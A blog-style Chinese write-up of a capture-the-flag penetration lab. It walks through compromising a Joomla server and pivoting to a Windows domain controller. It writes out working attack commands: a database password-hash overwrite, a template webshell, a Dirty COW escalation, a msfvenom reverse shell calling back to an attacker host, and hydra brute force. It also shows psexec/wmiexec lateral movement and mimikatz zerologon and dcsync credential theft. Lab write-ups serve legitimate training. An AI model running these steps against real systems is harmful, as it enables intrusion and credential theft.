红日靶场(三)渗透

红日靶场三

外围打点

进靶场首先拿到靶场IP 192.168.111.20 用nmap扫描开放的端口:

nmap -sS 192.168.111.20 -T4

image-20260620162825110

开放了22, 80 和3306,访问80看跑的是什么服务

image-20260620163013704

可以看到是用Joomla搭的CMS,有登录功能,尝试了常见的弱密码都无果,考虑用dirsearch扫一下试试

dirsearch -u 192.168.111.20

image-20260620163246456

可以看到扫到了/configuration.php~

configuration.php文件是Joomla的配置文件,而configuration.php~ 文件是在编辑 configuration.php 文件时产生的,它包含与原始 configuration.php 完全相同的 PHP 源代码,其中可能包含数据库密码、API 密钥等敏感信息,Web 服务器通常不会将 .php~ 文件作为 PHP 脚本执行,而是会以纯文本形式直接输出其内容。这意味着,如果该文件位于网站可访问的目录下,攻击者可直接在浏览器中访问并查看所有配置信息。

//configuration.php~

<?php
class JConfig {
    public $offline = '0';
    public $offline_message = '网站正在维护。<br />请稍候访问。';
    public $display_offline_message = '1';
    public $offline_image = '';
    public $sitename = 'test';
    public $editor = 'tinymce';
    public $captcha = '0';
    public $list_limit = '20';
    public $access = '1';
    public $debug = '0';
    public $debug_lang = '0';
    public $debug_lang_const = '1';
    public $dbtype = 'mysqli';
    public $host = 'localhost';
    public $user = 'testuser';
    public $password = 'cvcvgjASD!@';
    public $db = 'joomla';
    public $dbprefix = 'am2zu_';
    public $live_site = '';
    public $secret = 'gXN9Wbpk7ef3A4Ys';
    public $gzip = '0';
    public $error_reporting = 'default';
    public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&amp;lang={langcode}';
    public $ftp_host = '';
    public $ftp_port = '';
    public $ftp_user = '';
    public $ftp_pass = '';
    public $ftp_root = '';
    public $ftp_enable = '0';
    public $offset = 'UTC';
    public $mailonline = '1';
    public $mailer = 'mail';
    public $mailfrom = 'test@test.com';
    public $fromname = 'test';
    public $sendmail = '/usr/sbin/sendmail';
    public $smtpauth = '0';
    public $smtpuser = '';
    public $smtppass = '';
    public $smtphost = 'localhost';
    public $smtpsecure = 'none';
    public $smtpport = '25';
    public $caching = '0';
    public $cache_handler = 'file';
    public $cachetime = '15';
    public $cache_platformprefix = '0';
    public $MetaDesc = '';
    public $MetaKeys = '';
    public $MetaTitle = '1';
    public $MetaAuthor = '1';
    public $MetaVersion = '0';
    public $robots = '';
    public $sef = '1';
    public $sef_rewrite = '0';
    public $sef_suffix = '0';
    public $unicodeslugs = '0';
    public $feed_limit = '10';
    public $feed_email = 'none';
    public $log_path = '/var/www/html/administrator/logs';
    public $tmp_path = '/var/www/html/tmp';
    public $lifetime = '15';
    public $session_handler = 'database';
    public $shared_session = '0';
}
?>

可以看到这里使用的是mySQL,用户名是testuser,密码cvcvgjASD!@

用用户名密码可以登录数据库

可以使用

mysql -h 192.168.111.20 -u testuser -p

来登录远程数据库,这里报错ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it的原因是目标服务器的 MySQL 服务没有开启或支持 SSL,导致客户端拒绝建立不安全的连接。所以需要加上--skip-ssl参数来临时禁用SSL

mysql -h 192.168.111.20 -u testuser -P 3306 -p --skip-ssl

image-20260620164259433

登录之后先查数据库 show databases;

image-20260620164504281

查看权限 SHOW GRANTS;

image-20260620164617740

只对 joomla有完整权限,由于没有全局root,导致不能使用常规的方法(比如向日志中写webshell)来写webshell

所以考虑其他思路获取webshell

先翻下数据库

use joomla; 切换到 joomla 表,然后show tables;查表

image-20260620165124435

+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| am2zu_action_log_config       |
| am2zu_action_logs             |
| am2zu_action_logs_extensions  |
| am2zu_action_logs_users       |
| am2zu_assets                  |
| am2zu_associations            |
| am2zu_banner_clients          |
| am2zu_banner_tracks           |
| am2zu_banners                 |
| am2zu_categories              |
| am2zu_contact_details         |
| am2zu_content                 |
| am2zu_content_frontpage       |
| am2zu_content_rating          |
| am2zu_content_types           |
| am2zu_contentitem_tag_map     |
| am2zu_core_log_searches       |
| am2zu_extensions              |
| am2zu_fields                  |
| am2zu_fields_categories       |
| am2zu_fields_groups           |
| am2zu_fields_values           |
| am2zu_finder_filters          |
| am2zu_finder_links            |
| am2zu_finder_links_terms0     |
| am2zu_finder_links_terms1     |
| am2zu_finder_links_terms2     |
| am2zu_finder_links_terms3     |
| am2zu_finder_links_terms4     |
| am2zu_finder_links_terms5     |
| am2zu_finder_links_terms6     |
| am2zu_finder_links_terms7     |
| am2zu_finder_links_terms8     |
| am2zu_finder_links_terms9     |
| am2zu_finder_links_termsa     |
| am2zu_finder_links_termsb     |
| am2zu_finder_links_termsc     |
| am2zu_finder_links_termsd     |
| am2zu_finder_links_termse     |
| am2zu_finder_links_termsf     |
| am2zu_finder_taxonomy         |
| am2zu_finder_taxonomy_map     |
| am2zu_finder_terms            |
| am2zu_finder_terms_common     |
| am2zu_finder_tokens           |
| am2zu_finder_tokens_aggregate |
| am2zu_finder_types            |
| am2zu_languages               |
| am2zu_menu                    |
| am2zu_menu_types              |
| am2zu_messages                |
| am2zu_messages_cfg            |
| am2zu_modules                 |
| am2zu_modules_menu            |
| am2zu_newsfeeds               |
| am2zu_overrider               |
| am2zu_postinstall_messages    |
| am2zu_privacy_consents        |
| am2zu_privacy_requests        |
| am2zu_redirect_links          |
| am2zu_schemas                 |
| am2zu_session                 |
| am2zu_tags                    |
| am2zu_template_styles         |
| am2zu_ucm_base                |
| am2zu_ucm_content             |
| am2zu_ucm_history             |
| am2zu_update_sites            |
| am2zu_update_sites_extensions |
| am2zu_updates                 |
| am2zu_user_keys               |
| am2zu_user_notes              |
| am2zu_user_profiles           |
| am2zu_user_usergroup_map      |
| am2zu_usergroups              |
| am2zu_users                   |
| am2zu_utf8_conversion         |
| am2zu_viewlevels              |
| umnbt_action_log_config       |
| umnbt_action_logs             |
| umnbt_action_logs_extensions  |
| umnbt_action_logs_users       |
| umnbt_assets                  |
| umnbt_associations            |
| umnbt_banner_clients          |
| umnbt_banner_tracks           |
| umnbt_banners                 |
| umnbt_categories              |
| umnbt_contact_details         |
| umnbt_content                 |
| umnbt_content_frontpage       |
| umnbt_content_rating          |
| umnbt_content_types           |
| umnbt_contentitem_tag_map     |
| umnbt_core_log_searches       |
| umnbt_extensions              |
| umnbt_fields                  |
| umnbt_fields_categories       |
| umnbt_fields_groups           |
| umnbt_fields_values           |
| umnbt_finder_filters          |
| umnbt_finder_links            |
| umnbt_finder_links_terms0     |
| umnbt_finder_links_terms1     |
| umnbt_finder_links_terms2     |
| umnbt_finder_links_terms3     |
| umnbt_finder_links_terms4     |
| umnbt_finder_links_terms5     |
| umnbt_finder_links_terms6     |
| umnbt_finder_links_terms7     |
| umnbt_finder_links_terms8     |
| umnbt_finder_links_terms9     |
| umnbt_finder_links_termsa     |
| umnbt_finder_links_termsb     |
| umnbt_finder_links_termsc     |
| umnbt_finder_links_termsd     |
| umnbt_finder_links_termse     |
| umnbt_finder_links_termsf     |
| umnbt_finder_taxonomy         |
| umnbt_finder_taxonomy_map     |
| umnbt_finder_terms            |
| umnbt_finder_terms_common     |
| umnbt_finder_tokens           |
| umnbt_finder_tokens_aggregate |
| umnbt_finder_types            |
| umnbt_languages               |
| umnbt_menu                    |
| umnbt_menu_types              |
| umnbt_messages                |
| umnbt_messages_cfg            |
| umnbt_modules                 |
| umnbt_modules_menu            |
| umnbt_newsfeeds               |
| umnbt_overrider               |
| umnbt_postinstall_messages    |
| umnbt_privacy_consents        |
| umnbt_privacy_requests        |
| umnbt_redirect_links          |
| umnbt_schemas                 |
| umnbt_session                 |
| umnbt_tags                    |
| umnbt_template_styles         |
| umnbt_ucm_base                |
| umnbt_ucm_content             |
| umnbt_ucm_history             |
| umnbt_update_sites            |
| umnbt_update_sites_extensions |
| umnbt_updates                 |
| umnbt_user_keys               |
| umnbt_user_notes              |
| umnbt_user_profiles           |
| umnbt_user_usergroup_map      |
| umnbt_usergroups              |
| umnbt_users                   |
| umnbt_utf8_conversion         |
| umnbt_viewlevels              |
+-------------------------------+
156 rows in set (0.071 sec)

可以看到有一个am2zu_users

查这个表中的列名 show columns from am2zu_users;

image-20260620165554672

查下用户密码 select id, name, username, password from am2zu_users;

image-20260620165738108

前面diesearch扫到了/administrator

image-20260620165943413

现在拿到了用户名对应的密码hash

一般来说可以尝试利用 hashcat 破解

hashcat creds /usr/share/wordlists/rockyou.txt --username -m 3200 
hashcat creds /usr/share/wordlists/rockyou.txt --username -m 3200 --show

但这里破解失败了,在 joomla 的官方文档中有规定修改密码的操作

根据它的 Method2,可以重置密码

┌──(kali㉿kali)-[~]
└─$ php -r "echo password_hash('admin@123', PASSWORD_BCRYPT), PHP_EOL;"
$2y$12$EElLZG.KfqIJMM7zyIWfXOa8Jl0ojN9HwQ7Y1xexJ780g15HNY.0S

生成一个密码hash,然后用我们生成的密码哈希替换原来的hash值,就可以篡改密码了

update am2zu_users set password = "$2y$12$Rvph3unK0oEY9MKKkvyMYumfi0A8foqYI1DdOkccHuh5vV.5X4X
Ru" where username="administrator";

image-20260620170459534

现在我们已经成功把密码修改成admin@123了,现在登录joomla后台

image-20260620170708894

joomla后台管理模板处可以编辑PHP代码,可以在那里插入我们的webshell

2769156-20241004201704028-599332199

两个模板随便选一个,不过后面要注意路径名

image-20260620171057670

image-20260620171705539

写入webshell点击保存就可以了

可以跑一下phpinfo来验证一下写成功了没

curl -X POST -d "cmd=phpinfo();" -u "administrator:admin@123" http://192.168.111.20/templates/protostar/index.php > index.html

image-20260620171841657

可以看到写成功了,但是这里ban掉了很多命令执行函数,这里要做一下绕过,不然可能会有点麻烦

先连到蚁剑,然后在插件市场可以找到下面这个插件,我这里已经下好了

image-20260620172139700

然后

image-20260620172314548

image-20260620172357043

点击开始,就可以成功绕过了

image-20260620172500171

经过翻找服务器文件,在/tmp/mysql/test.txt找到了ssh的账户密码

image-20260620172717562

然后就可以ssh登录了,由于靶机上的ssh版本太旧了,所以需要加上-o HostKeyAlgorithms=+ssh-rsa才可以

ssh wwwuser@192.168.111.20 -o HostKeyAlgorithms=+ssh-rsa

image-20260620172855425

由于wwwuser是低权限用户,所以这里要提权

[wwwuser@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

linux 2.6.32 内核可以用脏牛(dirtycow)提权,kali里有现成的利用脚本

searchsploit dirty cow

image-20260620173310231

searchsploit dirty cow -m 40839

image-20260620173354348

然后用scp把脏牛脚本传到服务器上

scp -o HostKeyAlgorithms=+ssh-rsa \
    -o PubkeyAcceptedAlgorithms=+ssh-rsa \
    40839.c wwwuser@192.168.111.20:/home/wwwuser

image-20260620173734006

image-20260620174055194

提权成功

内网渗透

接下来可以上线msf进行内网渗透了,生成一个木马,

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.111.25 lport=32222 -f elf > payload.elf

同样用scp上传

image-20260620174651227

然后msf监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 32222
run

image-20260620175648210运行木马

image-20260620174956674

回连

扫一下内网存活主机

先添加内网路由:

use post/multi/manage/autoroute 
show options
set session 1
run

image-20260620175350609

很多WP上都和上面一样用msf自带的udp模块来扫描,但我实操下来发现很不稳定,所以这里换成上传一个fscan来进行扫描

image-20260620200503721

可以看到探测到了192.168.93.10,192.168.93.20, 192.168.93.30三台主机

挨个扫一下

image-20260620201323262

image-20260620201442805

image-20260620202031121

直接扫出来 192.168.93.10 看起来像域控,192.168.93.20是一台windows 2008,192.168.93.30是一台win7

同时发现都开了445端口,使用的时候感觉fscan准确率不高,最好多扫几次

先尝试打一下win7的smb

配置socks代理:

use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j

爆破密码

proxychains4 hydra -l administrator -P '/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt' smb://192.168.93.30

image-20260620203558310

爆破到密码了

再爆破凭据

use auxiliary/scanner/smb/smb_login
set smbuser administrator
set pass_file /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt
run

image-20260620204435478

横向

接下来利用smb横向

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD
run

这个发现不好拿shell,直接用wmiexec.py

proxychains python3 wmiexec-pro.py 'Administrator:123qwe!ASD@192.168.93.30' exec-command -shell

image-20260620210108038

image-20260620210231214

已经是system了,但这里只能通过上传mimikatz的方式来steal token,先放一放,看看192.168.93.20

发现可以用同样的密码登录192.168.93.20

image-20260620211417051

同样是system

image-20260620214119657

所以域控ip是192.168.93.10,域管理员用户名Administrator

然后可以开始横向到域控了

load kiwi
kiwi_cmd sekurlsa::logonpasswords
kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$
#攻击
kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$ /exploit
#攻击成功转出hash值
kiwi_cmd lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test /authpassword:"" /authntlm

image-20260620214511761

得到域控administrator用户的ntlmhash 然后用wmiexec直接登录

proxychains uv run python wmiexec.py -hashes :18edd0cc3227be3bf61ce198835a1d97 Administrator@192.168.93.10

image-20260620214002514

渗透结束。

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计